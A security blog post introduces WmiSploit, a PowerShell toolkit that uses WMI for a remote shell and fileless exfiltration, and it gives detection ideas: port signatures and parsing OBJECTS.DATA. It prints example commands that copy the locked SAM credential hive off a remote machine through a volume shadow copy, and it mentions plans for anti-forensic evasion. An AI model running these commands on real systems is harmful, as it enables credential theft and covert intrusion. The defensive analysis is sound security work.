WmiSploit

This blog is a carryover from my first attempt, just in case anyone took notice. Much of the subject matter will pertain to computer security efforts from a disruptive defender's point of view; i.e., using attack methodologies as the muse for my attempts to detect and defend.

This first post is an update to the last post on my old blog about using Windows Management Instrumentation (WMI) to create a pseudo remote-shell. My work on this subject is an extrapolation of sorts that started with Andrei Dumitrescu's presentation on the topic:  http://www.lexsi.com/Windows-Management-Instrumentation-Shell.html.

Create-WmiShell was my first attempt, and is basically a direct port of Dumitrescu's python implementation; it is a PowerShell script that uses WMI to upload a Visual Basic (VB) script to a remote machine and then interacts with that VB script to provide the majority of the remote-shell functionality.

WmiSploit is what I'd like to consider a more refined implementation; it is purely PowerShell, doesn't write any files to disk, and can exfiltrate data using only the WMI service. The crux of all of this was Dumitrescu's discovery that a version of Base64 encoded data can be written to WMI namespaces. Within WmiSploit I've also included a script that leverages the Win32_ShadowCopy class to access and retrieve locked files, thanks to a well-placed suggestion by @mattifestation.

NAME     Invoke-WmiShadowCopy   SYNOPSIS     Creates and links a Volume Shadow Copy, gets file handle and copies locked files, exfiltrates files over WMI.       -------------------------- EXAMPLE 1 --------------------------     PS C:\>Invoke-WmiShadowCopy -ComputerName Server01 -UserName Server01\Administrator -RemotePath C:\Windows\System32\config\SAM -LocalPath C:\tmp\SAM     -------------------------- EXAMPLE 2 --------------------------     PS C:\>$Session1 = New-WmiSession -ComputerName Server01 -UserName Server01\Administrator -Namespace EVIL -Tag NINJATAG     PS C:\> $Session1 | Invoke-WmiShadowCopy -RemotePath C:\Windows\System32\SAM -LocalPath C:\tmp\SAM

Now all of this seems very attacker focused, and it is. Here is where the disruptive defender comes into play. Writing all of this Base64ish data to WMI namespaces does get tracked by the operating system... unfortunate for the attacker, good news for the defender.

It is important to note that WMI listens for connections on port 135, but actually establishes communication between machines on ports 1024-1027. Network monitoring (e.g. snort) rules could easily be written to flag on these ports, base64ish encoded payloads, and other signatures. If network monitoring isn't available, there is a file that can be checked and parsed to completely reconstruct this sort of WMI activity.

The OBJECTS.DATA file located in the C:\Windows\System32\wbem\Repository directory will contain every line of base64 encoded data that was written to the WMI namespaces. That data could be parsed from the OBJECTS.DATA file and reconstructed to identify what transpired during the session. The OBJECTS.DATA file is a system file that can't be easily modified or deleted. I have plans for a backup/restore tool to circumvent this forensic recovery, but that will also leave its own traces.